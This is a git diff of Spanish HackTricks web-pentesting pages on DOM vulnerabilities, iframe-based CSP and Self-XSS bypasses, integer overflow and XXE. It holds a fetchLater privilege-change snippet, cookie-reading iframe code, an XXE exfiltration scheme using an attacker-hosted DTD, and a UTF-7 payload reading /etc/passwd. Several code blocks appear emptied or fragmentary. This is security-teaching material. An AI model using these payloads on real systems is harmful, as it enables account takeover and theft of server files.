+La propiedad `document.domain` juega un **papel clave** en la **aplicación** de la **política de mismo origen** por parte de los navegadores. Cuando dos páginas de diferentes orígenes establecen su `document.domain` al **mismo valor**, pueden interactuar sin restricciones. Aunque los navegadores imponen ciertos **límites** a los valores asignables a `document.domain`, impidiendo la asignación de valores completamente no relacionados con el origen real de la página, existen excepciones. Típicamente, los navegadores permiten el uso de **dominios** **hijos** o **padres**.
 
 Sinks:
 ```javascript
@@ -167,7 +167,7 @@ someDOMElement.action
 ```
 ### Manipulación de solicitudes Ajax
 
-De: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
+From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
 
 **Las vulnerabilidades de manipulación de solicitudes Ajax** surgen cuando un script escribe **datos controlables por el atacante en una solicitud Ajax** que se emite utilizando un objeto `XmlHttpRequest`.
 
@@ -207,7 +207,7 @@ executeSql()
 ```
 ### Manipulación de almacenamiento HTML5
 
-From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
+De: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
 
 **Las vulnerabilidades de manipulación de almacenamiento HTML5** surgen cuando un script **almacena datos controlables por el atacante en el almacenamiento HTML5 del navegador web** (`localStorage` o `sessionStorage`). Aunque esta acción no es inherentemente una vulnerabilidad de seguridad, se vuelve problemática si la aplicación **lee los datos almacenados y los procesa de manera insegura**. Esto podría permitir a un atacante aprovechar el mecanismo de almacenamiento para llevar a cabo otros ataques basados en DOM, como scripting entre sitios e inyección de JavaScript.
 
@@ -229,7 +229,7 @@ someDOMElement.evaluate()
 ```
 ### Inyección de JSON del lado del cliente
 
-From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
+De: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
 
 **Las vulnerabilidades de inyección de JSON basadas en DOM** ocurren cuando un script incorpora **datos controlables por el atacante en una cadena que se analiza como una estructura de datos JSON y luego es procesada por la aplicación**.
 
@@ -284,7 +284,7 @@ history.replaceState()
 
 From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)
 
-**Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden hacer que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o terminar scripts ocupados.
+**Las vulnerabilidades de denegación de servicio basadas en DOM** ocurren cuando un script pasa **datos controlables por el atacante de manera insegura a una API problemática de la plataforma**. Esto incluye APIs que, al ser invocadas, pueden llevar a que la computadora del usuario consuma **cantidades excesivas de CPU o espacio en disco**. Tales vulnerabilidades pueden tener efectos secundarios significativos, como que el navegador restrinja la funcionalidad del sitio web al rechazar intentos de almacenar datos en `localStorage` o termine scripts ocupados.
 
 Sinks:
 ```javascript
@@ -293,6 +293,7 @@ RegExp()
 ```
 ## Dom Clobbering
 
+
 {{#ref}}
 dom-clobbering.md
 {{#endref}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
index 5971acc26..b785d8123 100644
--- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
+++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
@@ -10,7 +10,7 @@ Hay 3 formas de indicar el contenido de una página en un iframe:
 - A través de `src` indicando el contenido usando el protocolo `data:`
 - A través de `srcdoc` indicando el contenido
 
-**Accediendo a las variables de Padre e Hijo**
+**Accediendo a variables de Padre e Hijo**
 ```html
 
 "
 if __name__ == "__main__":
 app.run()
 ```
-### Otros Payloads encontrados en la naturaleza 
+#### Nuevas técnicas de bypass de CSP (2023-2025) con iframes
+
+La comunidad de investigación continúa descubriendo formas creativas de abusar de los iframes para derrotar políticas restrictivas. A continuación, puedes encontrar las técnicas más notables publicadas durante los últimos años:
+
+* **Exfiltración de datos de markup colgante / iframe nombrado (PortSwigger 2023)** – Cuando una aplicación refleja HTML pero un CSP fuerte bloquea la ejecución de scripts, aún puedes filtrar tokens sensibles inyectando un atributo `
+
+
+```
+### Iframes sin credenciales
+
+Como se explica en [este artículo](https://blog.slonser.info/posts/make-self-xss-great-again/), la bandera `credentialless` en un iframe se utiliza para cargar una página dentro de un iframe sin enviar credenciales en la solicitud, manteniendo la misma política de origen (SOP) de la página cargada en el iframe.
+
+Desde **Chrome 110 (febrero de 2023), la función está habilitada por defecto** y la especificación se está estandarizando en los navegadores bajo el nombre *iframe anónimo*. MDN lo describe como: “un mecanismo para cargar iframes de terceros en una nueva partición de almacenamiento efímera, de modo que no se compartan cookies, localStorage o IndexedDB con el origen real”. Consecuencias para atacantes y defensores:
+
+* Los scripts en diferentes iframes sin credenciales **aún comparten el mismo origen de nivel superior** y pueden interactuar libremente a través del DOM, lo que hace que los ataques de auto-XSS en múltiples iframes sean viables (ver PoC a continuación).
+* Debido a que la red está **sin credenciales**, cualquier solicitud dentro del iframe se comporta efectivamente como una sesión no autenticada; los puntos finales protegidos por CSRF suelen fallar, pero las páginas públicas que se pueden filtrar a través del DOM siguen estando en el alcance.
+* Los pop-ups generados desde un iframe sin credenciales obtienen un `rel="noopener"` implícito, rompiendo algunos flujos de OAuth.
+```javascript
+// PoC: two same-origin credentialless iframes stealing cookies set by a third
+window.top[1].document.cookie = 'foo=bar';            // write
+alert(window.top[2].document.cookie);                 // read -> foo=bar
+```
+- Ejemplo de explotación: Self-XSS + CSRF
+
+En este ataque, el atacante prepara una página web maliciosa con 2 iframes:
+
+- Un iframe que carga la página de la víctima con la bandera `credentialless` con un CSRF que activa un XSS (Imagina un Self-XSS en el nombre de usuario del usuario):
+```html
+
+
+
+
+
+
+
+
+
+
+```
+
+- Otro iframe que en realidad tiene al usuario conectado (sin la bandera `credentialless`).
+
+Luego, desde el XSS es posible acceder al otro iframe ya que tienen el mismo SOP y robar la cookie, por ejemplo, ejecutando:
+```javascript
+alert(window.top[1].document.cookie);
+```
+### fetchLater Attack
+
+Como se indica en [este artículo](https://blog.slonser.info/posts/make-self-xss-great-again/), la API `fetchLater` permite configurar una solicitud para que se ejecute más tarde (después de un cierto tiempo). Por lo tanto, esto puede ser abusado para, por ejemplo, iniciar sesión a una víctima dentro de la sesión de un atacante (con Self-XSS), establecer una solicitud `fetchLater` (para cambiar la contraseña del usuario actual, por ejemplo) y cerrar sesión de la sesión del atacante. Luego, la víctima inicia sesión en su propia sesión y la solicitud `fetchLater` se ejecutará, cambiando la contraseña de la víctima a la que estableció el atacante.
+
+De esta manera, incluso si la URL de la víctima no se puede cargar en un iframe (debido a CSP u otras restricciones), el atacante aún puede ejecutar una solicitud en la sesión de la víctima.
+```javascript
+var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
+const minute = 60000
+let arr = [minute, minute * 60, minute * 60 * 24, ...]
+for (let timeout of arr)
+fetchLater(req,{activateAfter: timeout})
 ```
 ## Iframes en SOP
 
 Consulta las siguientes páginas:
 
+
 {{#ref}}
 ../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
 {{#endref}}
 
+
 {{#ref}}
 ../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
 {{#endref}}
 
+
 {{#ref}}
 ../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
 {{#endref}}
 
+
 {{#ref}}
 ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
 {{#endref}}
 
+
+
+## Referencias
+
+* [PortSwigger Research – Usando el secuestro de formularios para eludir CSP (marzo de 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
+* [Chrome Developers – Iframe sin credenciales: Inserta fácilmente iframes en entornos COEP (feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
index c025e6e34..c0e2bc62a 100644
--- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
+++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md
@@ -4,7 +4,8 @@
 
 > Esta página se centra en cómo **los desbordamientos/truncamientos de enteros pueden ser abusados en aplicaciones web y navegadores**. Para primitivas de explotación dentro de binarios nativos, puedes continuar leyendo la página dedicada:
 >
-> {{#ref}}
+>
+{{#ref}}
 > ../../binary-exploitation/integer-overflow.md
 > {{#endref}}
 
@@ -16,10 +17,10 @@ A pesar de que la mayoría de la lógica empresarial en pilas modernas está esc
 
 Superficie de ataque típica:
 
-1. **Parámetros de solicitud numéricos** – campos clásicos `id`, `offset` o `count`.
-2. **Encabezados de longitud/tamaño** – `Content-Length`, longitud de marco de WebSocket, `continuation_len` de HTTP/2, etc.
+1. **Parámetros de solicitud numéricos** – campos clásicos de id, desplazamiento o conteo.
+2. **Encabezados de longitud/tamaño** – Content-Length, longitud de marco de WebSocket, http/2 continuation_len, etc.
 3. **Metadatos de formato de archivo analizados del lado del servidor o del cliente** – dimensiones de imagen, tamaños de fragmentos, tablas de fuentes.
-4. **Conversiones a nivel de lenguaje** – conversiones firmadas↔no firmadas en PHP/Go/Rust FFI, truncamientos de `JS Number` → `int32` dentro de V8.
+4. **Conversiones a nivel de lenguaje** – conversiones firmadas↔no firmadas en PHP/Go/Rust FFI, truncamientos de JS Number → int32 dentro de V8.
 5. **Autenticación y lógica empresarial** – valor de cupón, precio o cálculos de saldo que desbordaron silenciosamente.
 
 ---
@@ -28,9 +29,9 @@ Superficie de ataque típica:
 
 | Año | Componente | Causa raíz | Impacto |
 |------|-----------|-----------|--------|
-| 2023 | **libwebp – CVE-2023-4863** | Desbordamiento de multiplicación de 32 bits al calcular el tamaño de píxel decodificado | Provocó un 0-day en Chrome (`BLASTPASS` en iOS), permitió *ejecución remota de código* dentro del sandbox del renderizador.  |
-| 2024 | **V8 – CVE-2024-0519** | Truncamiento a 32 bits al aumentar un `JSArray` lleva a escritura OOB en el almacenamiento de respaldo | Ejecución remota de código después de una sola visita.  |
-| 2025 | **Apollo GraphQL Server** (parche no lanzado) | Entero firmado de 32 bits utilizado para argumentos de paginación `first/last`; valores negativos se envuelven a enormes positivos | Bypass lógico y agotamiento de memoria (DoS). |
+| 2023 | **libwebp – CVE-2023-4863** | Desbordamiento de multiplicación de 32 bits al calcular el tamaño de píxel decodificado | Provocó un 0-day de Chrome (BLASTPASS en iOS), permitió *ejecución remota de código* dentro del sandbox del renderizador.  |
+| 2024 | **V8 – CVE-2024-0519** | Truncamiento a 32 bits al aumentar un JSArray lleva a escritura OOB en el almacenamiento de respaldo | Ejecución remota de código después de una sola visita.  |
+| 2025 | **Apollo GraphQL Server** (parche no lanzado) | Entero firmado de 32 bits utilizado para argumentos de paginación de primero/último; valores negativos se envuelven a enormes positivos | Bypass lógico y agotamiento de memoria (DoS). |
 
 ---
 
@@ -48,7 +49,7 @@ Envía **valores extremos firmados/no firmados** donde se espera un entero:
 0x7fffffff, 0x80000000, 0xffffffff
 ```
 Otros formatos útiles:
-* Hex (`0x100`), octal (`0377`), científico (`1e10`), JSON big-int (`9999999999999999999`).
+* Hex (0x100), octal (0377), científico (1e10), JSON big-int (9999999999999999999).
 * Cadenas de dígitos muy largas (>1kB) para golpear analizadores personalizados.
 
 ### 3.2 Plantilla de Burp Intruder
@@ -58,9 +59,9 @@ Payload type: Numbers
 From: -10 To: 4294967300 Step: 1
 Pad to length: 10, Enable hex prefix 0x
 ```
-### 3.3 Bibliotecas y entornos de ejecución de Fuzzing
+### 3.3 Bibliotecas y entornos de ejecución de fuzzing
 
-* **AFL++/Honggfuzz** con un arnés `libFuzzer` alrededor del analizador (por ejemplo, WebP, PNG, protobuf).
+* **AFL++/Honggfuzz** con un harness de libFuzzer alrededor del parser (por ejemplo, WebP, PNG, protobuf).
 * **Fuzzilli** – fuzzing consciente de la gramática de motores de JavaScript para golpear truncamientos de enteros en V8/JSC.
 * **boofuzz** – fuzzing de protocolos de red (WebSocket, HTTP/2) centrado en campos de longitud.
 
@@ -78,7 +79,7 @@ die('Too expensive');
 /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
 ```
 ### 4.2 Desbordamiento de heap a través del decodificador de imágenes (libwebp 0-day)
-El decodificador sin pérdida de WebP multiplicó el ancho de la imagen × altura × 4 (RGBA) dentro de un `int` de 32 bits. Un archivo diseñado con dimensiones `16384 × 16384` desborda la multiplicación, asigna un búfer corto y posteriormente escribe **~1GB** de datos descomprimidos más allá del heap, lo que lleva a RCE en todos los navegadores basados en Chromium antes de 116.0.5845.187.
+El decodificador sin pérdida de WebP multiplicó el ancho de la imagen × altura × 4 (RGBA) dentro de un int de 32 bits. Un archivo diseñado con dimensiones 16384 × 16384 desborda la multiplicación, asigna un búfer corto y posteriormente escribe **~1GB** de datos descomprimidos más allá del heap, lo que lleva a RCE en todos los navegadores basados en Chromium antes de 116.0.5845.187.
 
 ### 4.3 Cadena de XSS/RCE basada en navegador
 1. **Desbordamiento de entero** en V8 da lectura/escritura arbitraria.
@@ -89,10 +90,10 @@ El decodificador sin pérdida de WebP multiplicó el ancho de la imagen × altur
 
 ## 5. Directrices defensivas
 
-1. **Usar tipos amplios o matemáticas verificadas** – p. ej., `size_t`, Rust `checked_add`, Go `math/bits.Add64`.
+1. **Usar tipos amplios o matemáticas verificadas** – p. ej., size_t, Rust checked_add, Go math/bits.Add64.
 2. **Validar rangos temprano**: rechazar cualquier valor fuera del dominio comercial antes de la aritmética.
-3. **Habilitar sanitizadores del compilador**: `-fsanitize=integer`, UBSan, detector de carreras de Go.
-4. **Adoptar fuzzing en CI/CD** – combinar retroalimentación de cobertura con corpora de límites.
+3. **Habilitar sanitizadores del compilador**: -fsanitize=integer, UBSan, detector de carreras de Go.
+4. **Adoptar fuzzing en CI/CD** – combinar retroalimentación de cobertura con corpus de límites.
 5. **Mantenerse actualizado** – los errores de desbordamiento de enteros en navegadores son frecuentemente armados en semanas.
 
 ---
diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md
index 619d4fa8f..dc878f027 100644
--- a/src/pentesting-web/xxe-xee-xml-external-entity.md
+++ b/src/pentesting-web/xxe-xee-xml-external-entity.md
@@ -4,13 +4,13 @@
 
 ## Fundamentos de XML
 
-XML es un lenguaje de marcado diseñado para el almacenamiento y transporte de datos, con una estructura flexible que permite el uso de etiquetas nombradas descriptivamente. Se diferencia de HTML en que no está limitado a un conjunto de etiquetas predefinidas. La importancia de XML ha disminuido con el auge de JSON, a pesar de su papel inicial en la tecnología AJAX.
+XML es un lenguaje de marcado diseñado para el almacenamiento y transporte de datos, con una estructura flexible que permite el uso de etiquetas nombradas descriptivamente. Se diferencia de HTML al no estar limitado a un conjunto de etiquetas predefinidas. La importancia de XML ha disminuido con el auge de JSON, a pesar de su papel inicial en la tecnología AJAX.
 
 - **Representación de Datos a través de Entidades**: Las entidades en XML permiten la representación de datos, incluidos caracteres especiales como `<` y `>`, que corresponden a `<` y `>` para evitar conflictos con el sistema de etiquetas de XML.
 - **Definición de Elementos XML**: XML permite la definición de tipos de elementos, delineando cómo deben estructurarse los elementos y qué contenido pueden contener, que va desde cualquier tipo de contenido hasta elementos hijos específicos.
 - **Definición de Tipo de Documento (DTD)**: Los DTD son cruciales en XML para definir la estructura del documento y los tipos de datos que puede contener. Pueden ser internos, externos o una combinación, guiando cómo se formatean y validan los documentos.
 - **Entidades Personalizadas y Externas**: XML admite la creación de entidades personalizadas dentro de un DTD para una representación de datos flexible. Las entidades externas, definidas con una URL, plantean preocupaciones de seguridad, particularmente en el contexto de ataques de XML External Entity (XXE), que explotan la forma en que los analizadores XML manejan fuentes de datos externas: ` ]>`
-- **Detección de XXE con Entidades de Parámetro**: Para detectar vulnerabilidades XXE, especialmente cuando los métodos convencionales fallan debido a las medidas de seguridad del analizador, se pueden utilizar entidades de parámetro XML. Estas entidades permiten técnicas de detección fuera de banda, como activar búsquedas DNS o solicitudes HTTP a un dominio controlado, para confirmar la vulnerabilidad.
+- **Detección de XXE con Entidades de Parámetro**: Para detectar vulnerabilidades XXE, especialmente cuando los métodos convencionales fallan debido a medidas de seguridad del analizador, se pueden utilizar entidades de parámetro XML. Estas entidades permiten técnicas de detección fuera de banda, como activar búsquedas DNS o solicitudes HTTP a un dominio controlado, para confirmar la vulnerabilidad.
 - ` ]>`
 - ` ]>`
 
@@ -68,7 +68,7 @@ En este tercer caso, observa que estamos declarando el `Element stockCheck` como
 En aplicaciones basadas en **Java**, podría ser posible **listar el contenido de un directorio** a través de XXE con una carga útil como (solo pidiendo el directorio en lugar del archivo):
 ```xml
 
-]>&xxe;
+&xxe;
 
 
 ]>&xxe;
@@ -91,7 +91,7 @@ Usando la **técnica comentada anteriormente** puedes hacer que el servidor acce
 ```
 ### "Blind" SSRF - Exfiltrar datos fuera de banda
 
-**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**el laboratorio de Portswigger aquí**](https://portswigger.net/web-security/xxe/blind)**.**
+**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**Portswiggers lab aquí**](https://portswigger.net/web-security/xxe/blind)**.**
 
 En el DTD malicioso dado, se llevan a cabo una serie de pasos para exfiltrar datos:
 
@@ -111,7 +111,7 @@ Los pasos ejecutados por este DTD incluyen:
 - Se define otra entidad de parámetro XML, `%eval`. Esta declara dinámicamente una nueva entidad de parámetro XML, `%exfiltrate`. La entidad `%exfiltrate` está configurada para realizar una solicitud HTTP al servidor del atacante, pasando el contenido de la entidad `%file` dentro de la cadena de consulta de la URL.
 2. **Ejecución de Entidades:**
 - Se utiliza la entidad `%eval`, lo que lleva a la ejecución de la declaración dinámica de la entidad `%exfiltrate`.
-- Luego se utiliza la entidad `%exfiltrate`, lo que desencadena una solicitud HTTP a la URL especificada con el contenido del archivo.
+- Luego se usa la entidad `%exfiltrate`, lo que desencadena una solicitud HTTP a la URL especificada con el contenido del archivo.
 
 El atacante aloja este DTD malicioso en un servidor bajo su control, típicamente en una URL como `http://web-attacker.com/malicious.dtd`.
 
@@ -134,17 +134,17 @@ Un mensaje de error de análisis XML, que revela el contenido del archivo `/etc/
 3. Se invoca la entidad `eval`, lo que lleva a la declaración dinámica de la entidad `error`.
 4. La invocación de la entidad `error` resulta en un intento de cargar un archivo inexistente, produciendo un mensaje de error que incluye el contenido del archivo `/etc/passwd` como parte del nombre del archivo.
 
-El DTD externo malicioso se puede invocar con el siguiente XML:
+El DTD externo malicioso puede ser invocado con el siguiente XML:
 ```xml
 
  %xxe;]>
 3;1
 ```
-Al ejecutarse, la respuesta del servidor web debería incluir un mensaje de error que muestre el contenido del archivo `/etc/passwd`.
+Al ejecutar, la respuesta del servidor web debería incluir un mensaje de error que muestre el contenido del archivo `/etc/passwd`.
 
 ![](<../images/image (809).png>)
 
-_**Tenga en cuenta que el DTD externo nos permite incluir una entidad dentro del segundo `eval`), pero está prohibido en el DTD interno. Por lo tanto, no puede forzar un error sin usar un DTD externo (generalmente).**_
+_**Por favor, note que el DTD externo nos permite incluir una entidad dentro del segundo `eval`), pero está prohibido en el DTD interno. Por lo tanto, no se puede forzar un error sin usar un DTD externo (usualmente).**_
 
 ### **Error Basado (DTD del sistema)**
 
@@ -241,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
 jar:https://download.host.com/myarchive.zip!/file.txt
 ```
 > [!CAUTION]
-> Para poder acceder a archivos dentro de archivos PKZIP es **súper útil abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
+> Para poder acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
 
 El proceso para acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
 
@@ -320,9 +320,9 @@ Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
 
 ### SVG - Carga de Archivos
 
-Los archivos subidos por los usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en la forma en que se manejan los formatos de archivo XML o que contienen XML. Formatos de archivo comunes como documentos de oficina (DOCX) e imágenes (SVG) se basan en XML.
+Los archivos subidos por los usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos de archivo comunes como documentos de oficina (DOCX) e imágenes (SVG) se basan en XML.
 
-Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, **la biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
+Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, la **biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
 
 Un ejemplo de tal explotación se muestra a continuación, donde una imagen SVG maliciosa intenta leer archivos del sistema:
 ```xml
@@ -336,14 +336,15 @@ Otro método implica intentar **ejecutar comandos** a través del envoltorio "ex
 ```
 En ambos casos, se utiliza el formato SVG para lanzar ataques que explotan las capacidades de procesamiento XML del software del servidor, destacando la necesidad de una validación de entrada robusta y medidas de seguridad.
 
-Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
+¡Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) para más información!
 
-**Nota: la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Por lo tanto, necesitas poder acceder a la imagen que SVG ha creado.**
+**Nota: la primera línea del archivo leído o del resultado de la ejecución aparecerá DENTRO de la imagen creada. Así que necesitas poder acceder a la imagen que SVG ha creado.**
 
 ### **PDF - Carga de archivos**
 
 Lee la siguiente publicación para **aprender cómo explotar un XXE subiendo un archivo PDF**:
 
+
 {{#ref}}
 file-upload/pdf-upload-xxe-and-cors-bypass.md
 {{#endref}}
@@ -398,7 +399,7 @@ Content-Type: application/xml;charset=UTF-8
 ```
 Otro ejemplo se puede encontrar [aquí](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
 
-## Bypass de WAF y Protecciones
+## Bypasses de WAF y Protecciones
 
 ### Base64
 ```xml
@@ -408,7 +409,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
 
 ### UTF-7
 
-Puedes usar la \[**"Receta de Codificación"** de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transforma a UTF-7.
+Puedes usar la \[**"Receta de Codificación"** de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
 ```xml
 
 +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@@ -422,9 +423,9 @@ Puedes usar la \[**"Receta de Codificación"** de cyberchef aquí ]\(\[[https://
 ```
 ### File:/ Protocol Bypass
 
-Si la web está usando PHP, en lugar de usar `file:/` puedes usar **php wrappers** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
+Si la web está usando PHP, en lugar de usar `file:/` puedes usar **php wrappers**`php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
 
-Si la web está usando Java, puedes consultar el [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
+Si la web está usando Java, puedes verificar el [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
 
 ### HTML Entities
 
@@ -534,7 +535,7 @@ Para incluir el contenido del archivo en el mensaje de error, se ajusta el archi
 %foo;
 %xxe;
 ```
-Esta modificación conduce a la exitosa exfiltración del contenido del archivo, ya que se refleja en la salida de error enviada a través de HTTP. Esto indica un ataque XXE (XML External Entity) exitoso, aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
+Esta modificación conduce a la exfiltración exitosa del contenido del archivo, ya que se refleja en la salida de error enviada a través de HTTP. Esto indica un ataque XXE (XML External Entity) exitoso, aprovechando tanto técnicas Out of Band como Error-Based para extraer información sensible.
 
 ## RSS - XEE
 
@@ -677,19 +678,140 @@ Echa un vistazo a este increíble informe [https://swarm.ptsecurity.com/impossib
 
 ## Tools
 
+
 {{#ref}}
 https://github.com/luisfontes19/xxexploiter
 {{#endref}}
 
-## References
+### Python lxml Parameter-Entity XXE (Divulgación de Archivos Basada en Errores)
+
+> [!INFO]
+> La biblioteca de Python **lxml** utiliza **libxml2** en su interior. Las versiones anteriores a **lxml 5.4.0 / libxml2 2.13.8** aún expanden las entidades *parameter* incluso cuando `resolve_entities=False`, haciéndolas accesibles cuando la aplicación habilita `load_dtd=True` y/o `resolve_entities=True`. Esto permite cargas útiles de XXE Basadas en Errores que incrustan el contenido de archivos locales en el mensaje de error del analizador.
+
+#### 1. Explotando lxml < 5.4.0
